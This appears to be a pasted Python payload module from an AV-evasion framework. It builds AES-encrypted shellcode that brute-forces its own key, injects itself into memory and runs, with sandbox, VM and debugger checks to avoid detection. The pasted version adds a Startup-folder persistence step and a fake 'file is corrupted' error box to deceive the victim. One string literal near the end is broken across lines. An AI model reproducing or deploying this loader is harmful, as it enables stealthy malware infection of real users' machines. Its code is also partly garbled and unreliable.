· 7 years ago · Feb 09, 2018, 12:22 PM
1"""
2
3This payload constains encrypted shellcode, but not key in the file. The script
4brute forces itself to find the key via a known-plaintext attack, decrypts the
5shellcode, and then executes it.
6
7
8Based off of CodeKoala which can be seen here:
9http://www.codekoala.com/blog/2009/aes-encryption-python-using-pycrypto/
10Looks like Dave Kennedy also used this code in SETh
11https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/core/setcore.py.
12
13
14module by @christruncer
15
16"""
17
18
19from datetime import date
20from datetime import timedelta
21from Tools.Evasion.evasion_common import encryption
22from Tools.Evasion.evasion_common import evasion_helpers
23from Tools.Evasion.evasion_common import gamemaker
24from Tools.Evasion.evasion_common import shellcode_help
25
26
27class PayloadModule:
28
29 def __init__(self, cli_obj):
30 # required options
31 self.description = "AES Encrypted shellcode is decrypted at runtime with key in file, injected into memory, and executed"
32 self.language = "python"
33 self.extension = "py"
34 self.rating = "Excellent"
35 self.name = "Python Stallion"
36 self.path = "python/shellcode_inject/stallion"
37 self.cli_opts = cli_obj
38 self.shellcode = shellcode_help.Shellcode(cli_obj)
39 self.payload_source_code = ''
40 if cli_obj.ordnance_payload is not None:
41 self.payload_type = cli_obj.ordnance_payload
42 elif cli_obj.msfvenom is not None:
43 self.payload_type = cli_obj.msfvenom
44 elif not cli_obj.tool:
45 self.payload_type = ''
46 self.cli_shellcode = False
47
48 # options we require user interaction for- format is {OPTION : [Value, Description]]}
49 self.required_options = {
50 "COMPILE_TO_EXE" : ["Y", "Compile to an executable"],
51 "USE_PYHERION" : ["N", "Use the pyherion encrypter"],
52 "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"],
53 "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"],
54 "HOSTNAME" : ["X", "Optional: Required system hostname"],
55 "DOMAIN" : ["X", "Optional: Required internal domain"],
56 "PROCESSORS" : ["X", "Optional: Minimum number of processors"],
57 "USERNAME" : ["X", "Optional: The required user account"],
58 "CLICKTRACK" : ["X", "Optional: Minimum number of clicks to execute payload"],
59 "UTCCHECK" : ["FALSE", "Optional: Validates system does not use UTC timezone"],
60 "VIRTUALFILES" : ["FALSE", "Optional: Check if VM supporting files exist"],
61 "VIRTUALDLLS" : ["FALSE", "Check for dlls loaded in memory"],
62 "CURSORMOVEMENT" : ["FALSE", "Check if cursor is in same position after 30 seconds"],
63 "USERPROMPT" : ["FALSE", "Make user click prompt prior to execution"],
64 "MINRAM" : ["FALSE", "Check for at least 3 gigs of RAM"],
65 "SANDBOXPROCESS" : ["FALSE", "Check for common sandbox processes"],
66 "DETECTDEBUG" : ["FALSE", "Check if debugger is present"],
67 "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]
68 }
69
70 def generate(self):
71
72 # Generate the variable names
73 randctypes = evasion_helpers.randomString()
74 ShellcodeVariableName = evasion_helpers.randomString()
75 rand_ptr = evasion_helpers.randomString()
76 rand_ht = evasion_helpers.randomString()
77 known_plaintext_string = evasion_helpers.randomString()
78 key_guess = evasion_helpers.randomString()
79 secret_key = evasion_helpers.randomString()
80 small_constrained_key_variable = evasion_helpers.randomString()
81 decoded_ciphertext = evasion_helpers.randomString()
82 decoded_known = evasion_helpers.randomString()
83 decoded_shellcode = evasion_helpers.randomString()
84 RandCipherObject = evasion_helpers.randomString()
85 RandPadding = evasion_helpers.randomString()
86 rand_virtual_protect = evasion_helpers.randomString()
87
88 # Generate the shellcode
89 if not self.cli_shellcode:
90 Shellcode = self.shellcode.generate(self.cli_opts)
91 if self.shellcode.msfvenompayload:
92 self.payload_type = self.shellcode.msfvenompayload
93 elif self.shellcode.payload_choice:
94 self.payload_type = self.shellcode.payload_choice
95 self.shellcode.payload_choice = ''
96 # assume custom shellcode
97 else:
98 self.payload_type = 'custom'
99 else:
100 Shellcode = self.cli_shellcode
101
102 payload_code, num_tabs_required = gamemaker.senecas_games(self)
103
104 # encrypt the shellcode and get our randomized key
105 encoded_ciphertext, constrained_key, encryption_key = encryption.constrained_aes(Shellcode)
106 encoded_ciphertext = encoded_ciphertext.decode('ascii')
107
108 # Use the secret we received earlier to encrypt our known plaintext string
109 encrypted_plaintext_string = encryption.known_plaintext(encryption_key, known_plaintext_string)
110 encrypted_plaintext_string = encrypted_plaintext_string.decode('ascii')
111
112 if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
113
114 # Create Payload code
115 payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
116 payload_code += '\t' * num_tabs_required + 'import ctypes\n'
117 payload_code += '\t' * num_tabs_required + 'import os\n'
118 payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
119 payload_code += '\t' * num_tabs_required + 'import base64\n'
120 payload_code += '\t' * num_tabs_required + 'os.system('copy *.scr "C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"')\n'
121 payload_code += '\t' * num_tabs_required + 'ctypes.windll.user32.MessageBoxW(0,u"The file or directory is corrupted and unreadable",u"Location is not available", 0x0 | 0x10)\n'
122 payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n'
123 payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n'
124 payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n'
125 payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \"" + constrained_key + '\" + str(' + key_guess + ')\n'
126 payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(' + secret_key + ', AES.MODE_ECB)\n'
127 payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n'
128 payload_code += '\t' * num_tabs_required + '\ttry:\n'
129 payload_code += '\t' * num_tabs_required + '\t\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n'
130 payload_code += '\t' * num_tabs_required + '\t\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n'
131 payload_code += '\t' * num_tabs_required + '\t\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
132 payload_code += '\t' * num_tabs_required + '\t\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n'
133 payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
134 payload_code += '\t' * num_tabs_required + '\t\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
135 payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
136 payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
137 payload_code += '\t' * num_tabs_required + '\t\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
138 payload_code += '\t' * num_tabs_required + '\texcept:\n'
139 payload_code += '\t' * num_tabs_required + '\t\tpass'
140
141 elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
142 HeapVar = evasion_helpers.randomString()
143
144 payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
145 payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
146 payload_code += '\t' * num_tabs_required + 'import base64\n'
147 payload_code += '\t' * num_tabs_required + 'import os\n'
148 payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n'
149 payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n'
150 payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n'
151 payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \'" + constrained_key + '\' + str(' + key_guess + ')\n'
152 payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(' + encryption_key + ', AES.MODE_ECB)\n'
153 payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n'
154 payload_code += '\t' * num_tabs_required + '\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n'
155 payload_code += '\t' * num_tabs_required + '\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n'
156 payload_code += '\t' * num_tabs_required + '\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
157 payload_code += '\t' * num_tabs_required + '\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n'
158 payload_code += '\t' * num_tabs_required + '\t\t' + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
159 payload_code += '\t' * num_tabs_required + '\t\t' + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
160 payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
161 payload_code += '\t' * num_tabs_required + '\t\t' + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
162 payload_code += '
163 t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
164
165 if self.required_options["USE_PYHERION"][0].lower() == "y":
166 payload_code = encryption.pyherion(payload_code)
167
168 self.payload_source_code = payload_code
169 return